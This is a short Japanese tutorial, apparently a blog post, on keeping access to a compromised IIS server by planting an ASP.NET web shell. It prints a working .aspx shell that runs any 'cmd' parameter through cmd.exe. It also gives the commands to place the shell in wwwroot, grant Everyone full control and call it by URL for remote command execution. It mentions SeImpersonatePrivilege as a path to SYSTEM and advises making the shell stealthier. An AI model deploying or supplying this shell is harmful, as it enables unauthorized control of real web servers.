はじめに

Webサーバに侵入した後、継続的にアクセスを維持する（Persistence）　ための代表的な手法の一つが「Web Shell」です。

特に IIS 環境では、ASP.NETベースのWeb Shellを設置することで、HTTP経由でコマンド実行が可能になります。

Web Shellとは？

Web Shellとは：

Webサーバ上に設置された「リモートコマンド実行用スクリプト」

つまり、ブラウザからこういうことができる

ASP.NET環境では .aspx のWeb Shellを使用する：

例：

<%@ Page Language="C#" %>
<%
    if (Request["cmd"] != null) {
        System.Diagnostics.Process.Start("cmd.exe", "/c " + Request["cmd"]);
    }
%>

超シンプルだけど、普通に動く

IISのデフォルトWebルート：

C:\inetpub\wwwroot

配置コマンド：

C:\> move shell.aspx C:\inetpub\wwwroot\

IISでは通常：

iis apppool\defaultapppool

一見弱そうだけど…

たまに起きる「アクセス拒否」問題

icacls shell.aspx /grant Everyone:F

雑だけど動く（本番だともっとステルスにやる）

ブラウザからアクセス：

http://TARGET_IP/shell.aspx?cmd=whoami

これでWeb経由のRCE完成

このユーザは重要

SeImpersonatePrivilege

これがあると：

などで SYSTEM昇格可能

つまり：

Web Shell → SYSTEM は普通に現実的ルート

特に wwwroot は「監視の中心地」

Web Shellは「初心者でも使える最強ツール」だけど、
同時に「一番バレやすい古典技術」でもある。

だからプロはこう考える：

「置く」じゃなくて「溶け込ませる」